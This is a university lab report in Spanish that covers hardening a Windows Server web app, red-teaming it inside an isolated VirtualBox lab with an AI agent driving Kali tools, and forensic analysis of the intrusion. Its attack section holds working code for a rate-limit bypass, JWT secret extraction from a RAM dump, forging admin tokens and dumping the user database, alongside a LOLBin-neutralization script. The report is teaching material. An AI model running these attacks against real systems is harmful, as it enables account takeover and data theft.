



PRÁCTICA DE LA ASIGNATURA CALIDAD, SEGURIDAD Y
AUDITORÍA INFORMÁTICA
MÁSTER UNIVERSITARIO EN INGENIERÍA INFORMÁTICA

Práctica de abastionado.

Autores: Daniel Quintillán Quintillán

Álvaro Santiso Freire

Profesor: Pablo Alejandro Calviño Padín

A Coruña, junio de 2026.

Índice general

1	Fase 0: Desarrollo Agéntico y QA	1
1.1	Ingeniería de Prompts y Web CRUD	1
1.2	Auditoría de Código (QA)	2
2	Fase 1: Despliegue y Hardening	4
2.1	Arquitectura de la Infraestructura Web	4
2.1.1	Provisión de Infraestructura y Configuración de Red	4
2.1.2	Configuración de la Pila Tecnológica (Web & SQL)	5
2.1.3	Aislamiento y Despliegue de la Aplicación	6
2.2	Hardening Físico y Lógico	7
2.2.1	Cifrado BitLocker y BIOS/EFI	7
2.2.2	Configuración de Firewall Perimetral	7
2.3	Monitorización mediante Wazuh/Sysmon	9
3	Fase 2: Pentesting Ofensivo	10
3.1	Reconocimiento de Red y Activos	10
3.1.1	Metodología de Ejecución y Herramientas Agénticas	10
3.1.2	Fase de Reconocimiento de Red y Superficie	11
3.2	Vectores de Ataque Ejecutados	12
3.2.1	Ataques Lógicos (Web, SQLi, JWT)	12
3.2.2	Ataques Físicos e Infraestructura	13
3.3	Compromiso del Sistema y Flag	14
4	Fase 3: Análisis Forense	16
4.1	Introducción al Análisis Forense Agéntico	19

4.2	Recolección de Evidencia en Logs	19
4.2.1	Metodología de Recolección (RFC 3227 e ISO/IEC 27037) . . .	20
4.2.2	Exclusiones (Actividad Legítima del Blue Team)	21
4.3	Reconstrucción de la Kill Chain	21
4.3.1	Historial de Comandos del Red Team	21
4.3.2	Correlación con Security Event Log (25 de marzo de 2026) . .	23
4.3.3	Cobertura de Sysmon durante el ataque	23
4.3.4	Hallazgo Confirmado: Cuenta Backdoor yishiego	23
4.4	Vector de Entrada (Web/Físico)	24
4.5	Cronología y Alcance del Compromiso	24
4.5.1	Cronología del Incidente	24
4.5.2	Alcance del Compromiso	25
4.6	Recomendaciones de Remediación	25
4.7	Anexo: Comandos Forenses Ejecutados	26
5	Fase 4: Securización Reactiva	28
5.1	Análisis de Causa Raíz (RCA)	28
5.2	Remediación y Políticas	28
5.3	Métricas de Calidad y KPIs	28
6	Conclusiones	29
6.1	Registro de RFIs o Consultorías	29
6.2	Lecciones Aprendidas	30
6.3	Uso de LLM en la Práctica	32
A	Anexo I: Prompts del Proyecto	35
A.1	Anexo A: Prompts de la Construcción	35
A.2	Anexo B: Prompts Posteriores a la Construcción	36
B	Anexo II: Código Fuente	37
C	Anexo III: Solicitudes de Información (RFI)	38
D	Anexo IV: Informes de Análisis de Memoria RAM	40

Índice de figuras

Índice de tablas

4.1	Metodología de recolección de evidencia y orden de volatilidad (RFC 3227).	20
4.2	Exclusiones de actividad legítima ejecutada por el Blue Team.	21

Fase 0: Desarrollo Agéntico y Aseguramiento de Calidad (QA)

1.1 Ingeniería de Prompts para la generación de la aplicación Web CRUD

Para la creación del activo digital a defender, se ha implementado un flujo de trabajo agéntico avanzado utilizando **GitHub Copilot**. La piedra angular de este proceso ha sido la creación y refinamiento de un *Master Prompt*, diseñado para orquestar la arquitectura del sistema bajo el paradigma de *Secure by Design*.

El flujo agéntico se apoya en una serie de directrices especializadas almacenadas en el directorio `blue_team_app/prompts`, que actúan como base de conocimiento para la IA durante la generación de código:

- **Dominio y Persistencia:** Modelo de datos y base de datos.
Archivos: `domain.md` y `bd.md`.
- **Lógica de Aplicación:** Gestión de *endpoints* y de permisos.
Archivos: `endpoints.md` y `permissions.md`.
- **Seguridad y Auditoría:** Guías contra ataques y auditoría de código.
Archivos: `attacks.md` y `audit.md`.
- **Infraestructura:** Scripts para el entorno de producción.
Archivo: `deployment.md`.

Esta metodología garantiza que cada componente del sistema no solo sea funcional, sino que sea generado con un contexto profundo sobre las amenazas potenciales identificadas en las fases de diseño.

Cabe destacar que el diseño y la construcción de los *master prompts* utilizados se fundamentaron de manera explícita en los estándares y marcos normativos de referencia, así como en las herramientas de auditoría y pentesting descritas en el enunciado del proyecto. Específicamente, se incorporaron directrices alineadas con las metodologías de seguridad recomendadas por **PTES** (Penetration Testing Execution Standard), **OSSTMM** (Open Source Security Testing Methodology Manual) y la base de conocimiento de tácticas y técnicas de **MITRE ATT&CK**. Asimismo, con el fin de prever y mitigar proactivamente la explotación de vulnerabilidades desde la fase de codificación, se modelaron las restricciones de seguridad teniendo en cuenta el alcance y comportamiento de herramientas de análisis y ataque como **Nmap**, **Wireshark**, **Burp Suite**, **Metasploit**, **SQLMap**, **Hydra**, **Chntpw** y **Lazesoft**. De este modo, el flujo agéntico recibió instrucciones contextualizadas para estructurar mecanismos defensivos capaces de resistir el uso de este arsenal tanto en vectores de ataque lógicos como físicos.

1.2 Auditoría de Código (QA) y medidas Secure by Design implementadas

Con el fin de asegurar que el código generado no solo cumpliera con los requisitos funcionales básicos sino que además respetara los principios de desarrollo seguro (*Secure by Design*), se llevó a cabo un riguroso y sistemático proceso iterativo de revisión y auditoría de código:

1. **Auditoría enfocada en seguridad:** Una vez generada la estructura inicial de la aplicación, se utilizaron los mismos *master prompts* en sesiones de chat especializadas para analizar exhaustivamente el código resultante. En esta fase, se instruyó a la IA para que pusiera el foco crítico de manera exclusiva en los principios de ciberseguridad (tales como la defensa en profundidad, el principio de menor privilegio, la validación estricta de entradas y la codificación de salidas) y en la funcionalidad lógica esperada de la app.
2. **Búsqueda activa de vulnerabilidades:** Durante este proceso de revisión, se

buscó activamente identificar debilidades lógicas, posibles inyecciones (SQLi), vulnerabilidades de control de acceso (como IDOR o fallos en RBAC), fallos de validación o alucinaciones inseguras del modelo.

3. **Refinamiento y regeneración:** Cada debilidad detectada sirvió de retroalimentación para refinar los prompts originales. Con estas directrices mejoradas, se volvió a generar el componente afectado.
4. **Ciclos de mejora (bucle iterativo):** Este bucle de prueba, detección de fallos, optimización de prompts y regeneración de código se repitió un par de veces consecutivas. Esta aproximación iterativa permitió pulir fallas sutiles y asegurar la máxima robustez del activo final frente a posibles ataques.

Como resultado de este proceso, se implementaron medidas defensivas clave que mitigan los riesgos más comunes en aplicaciones web, garantizando que el diseño de seguridad esté integrado de raíz en el propio código fuente de la aplicación.

Fase 1: Despliegue, Hardening y Defensa Preventiva

La fase de despliegue se enfocó en proveer una infraestructura segura desde su concepción, aplicando estrictamente el principio de Defensa en Profundidad y aislando los servicios de manera exhaustiva.

2.1 Arquitectura de la Infraestructura Web

2.1.1 Provisión de Infraestructura y Configuración de Red

El entorno se construyó sobre una máquina virtual de **Windows Server 2025** (Evaluation edition) utilizando VirtualBox. Las especificaciones de hardware consistieron en 4 GB de RAM, 2 vCPUs y un disco de 50 GB. A nivel de hipervisor, se activó la virtualización de hardware, habilitando **UEFI** y **Secure Boot** en la configuración de la placa base, un prerequisite indispensable para la posterior configuración de cifrado mediante hardware virtual.

La topología de red se diseñó bajo un modelo de red aislada (*Host-Only*) con fines de aislamiento. Inicialmente, se empleó un adaptador NAT transitorio para la descarga de dependencias. La exposición final de la máquina se realizó sobre un adaptador secundario en modo **Red de Solo Anfitrión (Host-Only)**.

Se asignó de forma manual e imperativa **IP Estática** en el segmento de red de la práctica, deshabilitando DHCP. La IP se fijó en 192 . 168 . 56 . 10 / 24 mediante *PowerShell* (`New-NetIPAddress`), asegurando que la máquina mantuviese una ubicación controlada y conocida en el segmento de evaluación.

```

1 # Identificar adaptador Host-Only y fijar IP estática
2 Get-NetAdapter | Format-Table Name, InterfaceIndex, Status -
  AutoSize
3 New-NetIPAddress -InterfaceIndex 4 -IPAddress 192.168.56.10 -
  PrefixLength 24

```

Para permitir una administración remota cifrada y trazable durante el aprovisionamiento, se habilitó el servicio OpenSSH Server (sshd), se permitió el tráfico entrante en el puerto TCP 22 en el Firewall de Windows, y se reconfiguró sshd_config para utilizar PowerShell como la shell por defecto. Esto mitigó los problemas de elevación de privilegios de sesiones remotas mediante la supresión de directivas restrictivas de entorno para los administradores locales (ForceCommand).

2.1.2 Configuración de la Pila Tecnológica (Web & SQL)

La infraestructura de la aplicación *SecureCatalog* requiere un ecosistema integrado por .NET 8, IIS y SQL Server.

- **Gestor Web (IIS) y .NET:** Se instaló el rol Web-Server y el *ASP.NET Core Hosting Bundle* (v8.0) para la interconexión entre el *worker process* (w3wp.exe) de IIS y la aplicación en ejecución (*Out-of-process*).
- **Gestor de Base de Datos:** Se instaló **SQL Server Express** en modo silencioso. Por seguridad de ejecución, los servicios se lanzaron atados a la cuenta restringida NT AUTHORITY\Network Service. Se prescindió de los Named Pipes deshabilitándolos y forzando conectividad exclusiva local por TCP (usando TCPENABLED=1 y NPENABLED=0).
- **Conectividad Local a BD:** Se configuró la conexión a la base de datos sin persistir credenciales (*Passwordless*) en código o appsettings.json, empleando el paradigma *Integrated Security=True* y variables de entorno a nivel de sistema máquina (ConnectionString__DefaultConnection).

```

1 # Instalación silenciosa de SQL Server Express atada a Network
  Service
2 & "$env:TEMP\SQLEXP_x64_ENU.exe" /Q /ACTION=Install /
  IACCEPTSQLSERVERLICENSETERMS \

```

```
3 /FEATURES=SQLEngine /INSTANCENAME=SQLEXPRESS /SQLSVCACCOUNT="NT  
AUTHORITY\Network Service" \  
4 /SQLSYSADMINACCOUNTS="BUILTIN\Administrators" /TCPENABLED=1 /  
NPENABLED=0 /UPDATEENABLED=0
```

2.1.3 Aislamiento y Despliegue de la Aplicación

Se eliminó la configuración por defecto de IIS borrando el *Default Web Site* para prevenir la exposición de *banners* y páginas iniciales conocidas. El despliegue de *SecureCatalog* empleó su propio *App Pool* (*SecureCatalogPool*) sin soporte .NET legado (`managedRuntimeVersion=""`).

- **Certificados y Criptografía en Tránsito:** Se emitió un certificado autofirmado con longitud de clave RSA de 2048-bit válido para dos años y nombre DNS correspondiente al entorno. Dicho certificado se vinculó perimetralmente (*Binding*) al puerto 443 (`netsh http add sslcert`) obligando al uso de **HTTPS**.
- **Permisos del Sistema de Archivos:** Se reiniciaron los derechos heredados (ACLs) perimetrales y se aplicó la regla de Mínimo Privilegio. Se otorgó provisión estricta de Lectura/Ejecución (RX) al *Application Pool Identity* en la carpeta principal, permitiendo únicamente modificación (M) para la capa de *Data Protection API (DPAPI)* en su directorio aislado (*Keys*).
- **Control de Acceso a BDD:** Se aprovisionó acceso sobre el DBMS a la identidad del IIS (`IIS AppPool\SecureCatalogPool`), concediéndole privilegios `db_owner` en modo transitorio para la ejecución inicial de migraciones Entity Framework DDL.

Se establecieron dependencias funcionales de sistema mediante `sc config`, enlazando el arranque del servicio web `W3SVC` a la correcta disponibilidad técnica del motor relacional `MSSQL$SQLEXPRESS`. Se activó a su vez, a nivel de *App Pool*, la directiva `startMode="AlwaysRunning"` para pre-calentar los *workers*, eliminando los *cold-starts*.

2.2 Hardening Físico y Lógico

2.2.1 Cifrado BitLocker (TPM) y contraseñas BIOS/EFI

Como medida de seguridad defensiva, orientada a proteger la confidencialidad frente a exfiltración de discos virtuales (.vdi) y ataques de *Evil Maid*, se implementó **BitLocker Drive Encryption**.

El cifrado del volumen raíz (C:) se obligó mediante el algoritmo fuerte **AES-256**. En el hipervisor se aprovisionó una interfaz de **vTPM 2.0** (Virtual Trusted Platform Module), lo que permitió configurar BitLocker con un protector TPM principal, forzando a la máquina a requerir un entorno de virtualización que posea dicho TPM inyectado criptográficamente para poder arrancar, impidiendo montajes forzados off-line en otros sistemas.

2.2.2 Configuración de Firewall perimetral

Aseguramiento de Identidades Convencionales

El bastionado comenzó por la supresión de las visualizaciones por defecto (fijando `AutoAdminLogon= 0` y deshabilitando la visualización del *Last Username*) y la imposición de una estricta **política de bloqueo de cuentas** (lockout) de 10 intentos con ventana de enfriamiento de 15 minutos, deteniendo ataques de fuerza bruta nativos. La cuenta original de `Administrador` fue camuflada bajo el alias `user2`, mientras que la cuenta `Invitado` mutó a `user3` y quedó suspendida en el activo.

Estrategia de Engaño (Honeytokens)

Para detectar operaciones subrepticias de movimiento lateral y recolección de credenciales, se implementó una estrategia de engaño (*deception*). Se aprovisionó un usuario señuelo (*Honeytoken*) identificado como `Administrador`, blindado mediante la asignación de restricciones absolutas en el modelo de Políticas de Seguridad Locales (*Local Security Policy*).

Utilizando herramientas a bajo nivel (`secedit`), se le negaron los derechos de *Interactive Logon* y *Network Logon*. De la misma forma, mediante listas de control de acceso (`icacls`), se le denegó explícitamente lectura y ejecución (`Deny Full`

Control) en todo el volumen de almacenamiento. Si un adversario robara este token, no tendría acceso persistente, pero dispararía alarmas operacionales silentes hacia nuestro nodo de monitorización.

Reducción de Superficie de Ataque y Bastionado de Red

Se procedió a la reducción de servicios innecesarios bloqueando la comunicación general (Default-Deny *Inbound/Outbound*) en el *Windows Defender Firewall*, permitiendo únicamente el tráfico de los puertos lógicos empresariales explícitos HTTP (80) y HTTPS (443). El servicio de administración *sshd* fue deshabilitado tras el aprovisionamiento original.

A nivel de red, se ejecutaron disrupciones orientadas sobre el stack estándar IPv6 para mitigar vectores de ataque (*ms_tcpip6*), mitigando el componente **IPv6** desde el *NetAdapterBinding*. Adicionalmente, el de resoluciones de **NetBIOS** (NBT-NS) fue neutralizado localmente editando el *Registry* (*NetbiosOptions=2*).

Se deshabilitaron e interrumpieron más de diez servicios nativos (como *Lanman Server*, *WinRM*, *RemoteRegistry*, *TermService* y *spoolers*) junto con recolectores de telemetría (*DiagTrack*, *UALSVC*).

Táctica Defensiva de Restricción de Binarios (LOLBins Neutralization)

Con el objetivo de dificultar las fases de intrusión y exfiltración, se implementó una restricción sobre las herramientas nativas del sistema operativo o *Living Off the Land Binaries* (LOLBins). Un script defensivo modificó la titularidad (*takeown*) y los privilegios (*icaccls*) de más de treinta utilidades ejecutables desde la interfaz de línea de comandos de Windows. Comandos frecuentemente empleados por atacantes para la descarga y ejecución de cargas útiles como *certutil*, *curl*, *bitsadmin*, *ftp*, *mshta*, *wmic* o *msbuild* vieron modificados sus permisos y su extensión en el sistema de archivos (ej. convirtiendo a *.bak*).

```
1 # Bucle de neutralización de LOLBins
2 foreach ($bin in $lolbins) {
3     if (Test-Path $bin) {
4         takeown /F $bin /A | Out-Null
5         icaccls $bin /grant Administrators:F | Out-Null
6         Rename-Item -Path $bin -NewName "$bin.bak" -Force
7     }
8 }
```

2.3 Monitorización y Detección Temprana mediante Wazuh o Sysmon

En preparación para la fase evaluativa forense y disuasiva, se instaló **Sysmon** como sensor *on-host*. Para evadir la detección, sus binarios se ubicaron en la ruta `C:\Windows\System32\Drivers\en-US\NetworkData` y se renombró el servicio a `WinNetSvc.exe`.

El sensor operativo fue desplegado junto con un esquema XML rigurosamente auditado para reaccionar sobre ejecuciones irregulares:

- **Caza de *Webshells* y RCE:** Se trazaron flujos relacionales estrictos (Event ID 1) para procesar ejecuciones hiladas desde perfiles web (`w3wp.exe`), identificando inmediatamente si el proceso de IIS invoca un CMD, PowerShell, localizadores de infraestructura (como `whoami`, `net1`, `ipconfig`) o binarios neutralizados a fin de eludir la Tierra Quemada.
- **Escalamiento y Movimientos Silentes:** Excepciones de caza a flujos paralelos originados por herramientas de inyección remanentes.

Fase 2: Pentesting Ofensivo (Red Team)

Bajo un modelo estricto de *Caja Negra* perimetral y adoptando un enfoque *Assume Breach* mixto, se inició una evaluación ofensiva estructurada en múltiples fases contra el objetivo alojado en la dirección 192 . 168 . 56 . 137. Las tácticas y documentaciones trazadas siguieron el marco de ejecución **PTES** (Penetration Testing Execution Standard) y mapearon de manera directa con la matriz **MITRE ATT&CK**.

3.1 Reconocimiento de la red ciega y descubrimiento de activos

3.1.1 Metodología de Ejecución y Herramientas Agénticas

A nivel logístico y operativo, la ejecución de la ofensiva se basó en un enfoque automatizado y orquestado.

Se aprovisionó una máquina virtual con **Kali Linux** dentro de la topología local, sirviendo como entorno principal de evaluación. En lugar de interactuar intrínsecamente y de forma lineal con la terminal del sistema, se configuró y expuso todo su ecosistema paramétrico de herramientas (nmap, sqlmap, curl, hydra, utilidades *Python*) a través de un servidor **Model Context Protocol (MCP)**.

Esta arquitectura avanzada facultó a un agente nativo de Inteligencia Artificial (*Operador Antigravity* integrado en el entorno de escritorio vía VSCode) para invocar dinámicamente y analizar iterativamente *in-vivo* los *outputs* del ecosistema Kali. La

fusión del vasto arsenal local con las capacidades heurísticas del modelo AI optimizó los tiempos de reconocimiento y mapeo táctico, identificando rápidamente mitigaciones frente a restricciones como las respuestas HTTP 429 o interpretando patrones criptográficos tras los volcados de RAM.

3.1.2 Fase de Reconocimiento de Red y Superficie

El reconocimiento a nivel de capa de enlace evadió la restricción de ICMP impuesta en el segmento de red. Dado que las peticiones *Echo Request* eran descartadas (100% de pérdida de paquetes), se recurrió a técnicas de barrido ARP en un entorno donde no se alertaría a los contadores estadísticos de un firewall tradicional.

La ejecución identificó la dirección MAC del objetivo asociado a Oracle VirtualBox:

```
1 arp-scan -I eth1 --localnet
```

Esto confirmó la dirección IP objetivo (**T1046 - Network Service Discovery**).

- **Censo de Puertos (T1595.002):** Un escaneo completo (`nmap -sS -sV -p- -T4`) mostró que casi todos los puertos estaban filtrados, excepto los puertos HTTP/S: **TCP 80** y **TCP 443**.
- **Fingerprinting Tecnológico:** Con `curl -I -k` hacia `https://192.168.56.137`, se identificó una SPA en *React (Vite)* y un backend en *IIS 10.0 (ASP.NET Core)* al analizar la ruta `/assets/index-[...].js` y scripts con `type="module"`.

Output del escaneo de Nmap:

```
1 Discovered open port 443/tcp on 192.168.56.137
2 Discovered open port 80/tcp on 192.168.56.137
3 ...
4 PORT      STATE SERVICE      VERSION
5 80/tcp    open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6 443/tcp   open  ssl/https?
7 MAC Address: 08:00:27:4E:39:58 (Oracle VirtualBox virtual NIC)
```

3.2 Vectores de ataque ejecutados

3.2.1 Ataques lógicos (explotación web, SQLi, XSS, RCE, etc.)

Inspección Ciega y Evasión del Estrangulamiento de Peticiones

Las rondas estandarizadas de penetración mediante herramientas ciegas (Nikto, ffuf, gobuster) activaron los mecanismos de limitación de tasa (rate limiting) del *endpoint*, devolviendo códigos 429 Too Many Requests. Del mismo modo fracasó el utilitario de inyección en IIS 8.3 de Metasploit.

Empleando inyecciones estocásticas y aleatorias a través de diccionarios contra el *endpoint* /backend/api/auth/login, dicha limitación generaba falsos positivos en herramientas como Hydra. Para contrarrestar esto, se alteró dinámicamente la procedencia inferida (X-Forwarded-For) manipulando transaccionalmente el origen. Se logró eludir el control de tasa perimetral, sin éxito a largo plazo debido a la robustez de la contraseña:

```
1 for i in {1..7}; do
2   curl -s -k -X POST https://192.168.56.137/backend/api/auth/
     login \
3     -H "Content-Type: application/json" -H "X-Forwarded-For:
     1.2.3.$i" \
4     -d '{"username": "admin", "password": "wrongpassword"}'
5 done
```

Intersección, Autorización y Vectores Cliente-Servidor

- **Inyección Database (T1190):** Al ejecutar sqlmap utilizando tokens no autorizados sobre rutas de paginación REST como /backend/api/users/1, no se detectaron vulnerabilidades. La sintaxis del enrutador estaba fuertemente orientada en parámetros fuertemente tipados contra *LINQ* sobre *Entity Framework Core*, inhabilitando un *Time-Based Blind*.
- **Mass Assignment:** Abusando un token válido (Client), se enviaron peticiones PUT con el objetivo de alterar el nivel de privilegios:
... -d '{"username": "eminem", "role": "Admin"}'. El servidor ignoró el rol superior, erradicando una alteración vertical (**T1078.004**).

```
1 curl -sk -X PUT https://192.168.56.137/backend/api/users/2 \  
2   -H "Authorization: Bearer [EMINEM_TOKEN]" \  
3   -H "Content-Type: application/json" \  
4   -d '{"username": "eminem", "email": "eminem@udc.es", "  
    role": "Admin"}'
```

- **Módulos de Cliente (XSS/CSRF):** Tras intentar cruces de origen (*CORS*) con cabeceras *OPTIONS* forjadas, así como inyecciones de script (`<script>alert(1)</script>`), el cortafuegos del servidor web (`HTTP.sys`) bloqueó las peticiones (`HTTP 400`). Por otra parte, la delegación completa al paradigma *Bearer Token* en *localStorage* eximió de vulnerabilidades *CSRF* al suprimir los modelos contextuales automáticos.

Desbroce de Criptografía JWT e Ingeniería Forjada

Ante el volumen del sistema de archivos, el análisis se automatizó mediante instrumentación programática con scripts en Python (`extract_keys.py`) que escanearon el contexto buscando cadenas asimétricas Base64 próximas a marcadores de declaración ("`SecretKey`" en *UTF-16LE*):

```
1 b64_pattern = re.compile(rb'[a-zA-Z0-9+/]{43}=')  
2 # Hallazgo derivado tras barrido chunk-overlap de 50MB:  
3 # [!] CWgLnSB5JKpgba6BWywV8Uf+qDpErvjMPfpv9vIifg=
```

Tras la identificación de la clave del algoritmo *HMAC-SHA256*, se generaron localmente *JWT Tokens* forjados (`forge_jwt.py`), inyectando el valor "`role`": "`Admin`" (**T1550.001**). Tras confirmar validación (`HTTP 200 OK`), se logró evadir los controles de acceso de la API.

3.2.2 Ataques físicos y explotación de infraestructura subyacente

Ante la efectividad de los controles lógicos aplicados a la aplicación web, la evaluación pivotó hacia la explotación de la capa de hipervisor (escenario de amenaza equivalente a un *Evil Maid Attack*).

Utilizando controles sobre la interfaz de mando de Oracle VirtualBox, se ejecutó

un **volcado de la memoria RAM de la máquina virtual (T1003.001 - OS Credential Dumping)**, sin alarmar ningún *trigger* de apagado del SO subyacente.

```
1 & "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" debugvm \  
2 "CSAI" dumpvmcore --filename=c:\temp\csai_mem_new.elf
```

Dicho proceso generó un archivo en formato `.elf` masivo de casi 4.5 GB de la capa huésped hacia el sistema origen. Este vector de ataque elude la protección ofrecida por el cifrado de volumen de **BitLocker** y el componente **vTPM 2.0**, puesto que las claves criptográficas residen en texto claro en la memoria volátil durante la ejecución del sistema.

Cabe destacar que se diseñaron y ejecutaron de manera exhaustiva diversas técnicas para intentar extraer las claves criptográficas y para inyectar código directamente en caliente sobre la memoria RAM de la máquina virtual (como depuración nativa con GDB RSP, WinDbg kernel y parcheo en caliente en el host). Dado que todos estos intentos resultaron finalmente fallidos y no produjeron un compromiso funcional o descifrado del volumen, el detalle técnico y la descripción pormenorizada de estas metodologías de análisis de memoria se han incluido por separado en el [D](#).

3.3 Compromiso del sistema y obtención de la Flag (shell SYSTEM o exfiltración de BD)

Una vez comprometido el sistema, se cumplieron los siguientes objetivos de evaluación que vulneraban de forma crítica el SLA del entorno:

- **Sobrescritura Visual Inyectada (UI Domain Hijacking):** Se suplantó una sesión válida manipulando los valores del almacenamiento local:

`localStorage.setItem('authToken', ...)` del navegador para acceder a la interfaz administrativa de la aplicación (SPA) adquiriendo los privilegios del perfil "Administrator" (`ice_tea`).

```
1 localStorage.setItem('authToken', '[FORGED_JWT]');  
2 localStorage.setItem('user', JSON.stringify({  
3   id: 1,  
4   username: 'ice_tea',  
5   role: 'Admin',  
6   fullName: 'Administrator',  
7   email: 'icecube@securewebapp.local'
```

```
8 }));
```

- **Data Breach Masivo por Descarga (`dump_db.py`):** Mediante la automatización de peticiones HTTP (*script* programado bajo Python) empleando cabeceras de autorización forjadas, se procedió a extraer el volcado completo de la base de datos de usuarios de la API sin generar alertas evidentes en el agente Sysmon. Esta acción supuso una vulneración total de la confidencialidad de los datos albergados en el sistema objetivo.

```
1 # Script de exfiltración final (Python)
2 import jwt, requests, urllib3, json
3
4 payload = {"sub": "1", "name": "admin", "role": "Admin",
5           "iss": "SecureWebApp", "aud": "SecureWebAppClient", "exp": 1775327944}
6 token = jwt.encode(payload, "CWgLnSB5JKpgba6BWyzwV8Uf+qDpErvjMPfpv9vIifg=", algorithm="HS256")
7 headers = {"Authorization": f"Bearer {token}"}
8
9 response = requests.get("https://192.168.56.137/backend/api/users", headers=headers, verify=False)
10 with open("exfiltrated_data.json", "w") as f:
11     json.dump(response.json(), f, indent=2)
```

Fase 3: Análisis Forense Post-Incidente (Blue Team)

Antes de iniciar la recolección de evidencias en la máquina comprometida, es fundamental cumplir con una serie de prerequisites técnicos y procedimentales para asegurar una conexión ininterrumpida y no destructiva hacia el objetivo. Durante el incidente, se detectó un error EOF en el arranque del servidor MCP (*Model Context Protocol*), por lo que se aplicaron las siguientes medidas correctoras desde el *host* para estabilizar la telemetría y el entorno de análisis. Cabe destacar que este proceso de remediación fue ejecutado íntegramente durante una sesión agéntica, guiada por un *master prompt* específico definido en el archivo `.agents/rules/restoreteam.md`.

Acciones Realizadas

- **Detección de Interferencia de Shell:** Se identificó que el *Blue Team* configuró PowerShell como el *DefaultShell* de OpenSSH. PowerShell puede inyectar caracteres de control (BOM) y encabezados en el flujo `stdio`, rompiendo el JSON-RPC.
- **Corrección de Codificación:** Se detectaron caracteres corruptos en el archivo remoto `mcp_server.py`. Se procedió a su re-sincronización desde la fuente local limpia.
- **Cambio a CMD:** Se fuerza el uso de `cmd.exe` como shell de SSH para garantizar un transporte de datos crudo y transparente para el protocolo MCP.

Bitácora de Comandos

- `scp windows_mcp.py`
`user2@192.168.56.10:`
`C:\Python312\mcp_server.py`
(Resincronización del servidor)
- `ssh user2@192.168.56.10`
`"reg add HKLM\SOFTWARE\OpenSSH /v DefaultShell /d C:\`
`Windows\System32\cmd.exe /f"`
(Cambio de shell a CMD)
- `ssh user2@192.168.56.10`
`"powershell -ExecutionPolicy Bypass -File C:\fix_vm_`
`ssh.ps1"`
(Ejecución de fix global: SSH=CMD, Port 8000 opened)
- **Confirmación:** Shell verificado como
`c:\windows\system32\cmd.exe.`

Verificación y Simulación Final (Éxito)

Para descartar fallos en el transporte, se ejecutó una simulación de cliente MCP mediante una tubería (*pipe*) cruda sobre SSH:

- **Comando:**
`echo '{ "jsonrpc": "2.0", "method": "initialize",`
`... }'`
`| ssh user2@192.168.56.10 "C:\Python312\python.exe`
`C:\Python312\mcp_server.py"`
- **Resultado:** El servidor respondió con el *capabilities* JSON-RPC correctamente.

Notas de Configuración Local (Host)

Si la herramienta integrada sigue fallando, se recomienda:

- Registrar la IP `192.168.56.10` en `known_hosts` con `ssh-keyscan`.

- Reiniciar el servidor MCP en el IDE para limpiar sesiones SSH zombis.
- Verificar que el *path* de Python en la configuración del servidor MCP en el Host coincide con `C:\Python312\python.exe`.

Registro Cronológico Exacto de Comandos Ejecutados

Para fines de auditoría y replicabilidad, a continuación se listan los comandos exactos disparados desde el host durante la sesión de troubleshooting:

```
1 # Verificación inicial de conectividad SSH
2 ssh -o BatchMode=yes -o ConnectTimeout=5 user2@192.168.56.10 "
   hostname"
3
4 # Sincronización limpia del script del servidor para corregir
   encoding
5 scp .\windows_mcp.py user2@192.168.56.10:C:\Python312\mcp_server.
   py
6
7 # Despliegue del script de corrección global (Red, Shell, SSH)
8 scp .\fix_vm_ssh.ps1 user2@192.168.56.10:C:\fix_vm_ssh.ps1
9
10 # Ejecución del script de corrección con bypass de políticas
11 ssh user2@192.168.56.10 "powershell -ExecutionPolicy Bypass -File
   C:\fix_vm_ssh.ps1"
12
13 # Simulación de protocolo MCP JSON-RPC para validar el transporte
   stdio
14 echo '{"jsonrpc": "2.0", "method": "initialize", ...}' | ssh
   user2@192.168.56.10 "C:\Python312\python.exe C:\Python312\
   mcp_server.py"
15
16 # Sanitización de host keys para evitar prompts interactivos en
   el bridge
17 ssh-keyscan -H 192.168.56.10 >> $env:USERPROFILE\.ssh\known_hosts
```

Solución para el Cliente IDE (Configuración JSON)

Se requiere sustituir el bloque `mcpServers` por el siguiente fragmento de configuración, el cual utiliza rutas absolutas y fuerza el modo por lotes (*batch*) para pre-

venir el error -32000:

```
1 {  
2   "mcpServers": {  
3     "windows-vm": {  
4       "command": "C:\\Windows\\System32\\OpenSSH\\ssh.exe",  
5       "args": [  
6         "-i", "C:\\Users\\danie\\.ssh\\id_ed25519",  
7         "-o", "BatchMode=yes",  
8         "-o", "StrictHostKeyChecking=no",  
9         "user2@192.168.56.10",  
10        "C:\\Python312\\python.exe",  
11        "C:\\Python312\\mcp_server.py"  
12      ]  
13    }  
14  }  
15 }
```

4.1 Introducción al Análisis Forense Agéntico

Para llevar a cabo la investigación forense post-incidente, se orquestó una sesión agéntica especializada. La información, restricciones, reglas y directrices que guiaron este análisis automatizado fueron extraídas y definidas en el documento `incident analysis.md`. Bajo este marco normativo, se aseguró el cumplimiento estricto de la recolección no destructiva y el enfoque en los eventos relevantes, lo que derivó en la generación del siguiente volcado de hallazgos.

4.2 Recolección de evidencia digital en los logs centralizados y visor de eventos

El servidor **WIN-VNQSUL89MUA** (192.168.56.10) presenta evidencia de un compromiso por parte del Red Team. El hallazgo principal confirmado es la **creación de una cuenta local yishiego con privilegios de Administrador** el 25 de marzo de 2026, actividad que **no se corresponde con ninguna operación documentada del Blue Team**.

Los logs de Security, Sysmon y Application cubren la totalidad del periodo de

exposición al Red Team (desde la entrega de la máquina tras el *hardening* hasta su recuperación), proporcionando una cobertura completa de la telemetría disponible.

IMPORTANTE: La cuenta `yishi` permanecía **habilitada** con privilegios de **Administrador** al momento de la recuperación de la máquina por el Blue Team (7 de abril de 2026).

4.2.1 Metodología de Recolección (RFC 3227 e ISO/IEC 27037)

La recolección de evidencia se ejecutó respetando estrictamente el orden de volatilidad (RFC 3227):

Prioridad	Tipo de dato	Comando ejecutado
1 (Mayor)	Conexiones de red activas	<code>Get-NetTCPConnection Where-Object {\$_.State -eq 'Established' -or \$_.State -eq 'Listen'}</code>
2	Procesos en ejecución	<code>Get-Process Select-Object Id, ProcessName, Path, StartTime</code>
3	Sesiones de usuario y logons	<code>Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624}</code>
4	Logs de Sysmon	<code>Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1,3,11,13,16}</code>
5	Artefactos de persistencia	Servicios, cuentas locales, tareas programadas, registro
6	Archivos en disco	Binarios, scripts, logs de IIS, configuraciones

Tabla 4.1: Metodología de recolección de evidencia y orden de volatilidad (RFC 3227).

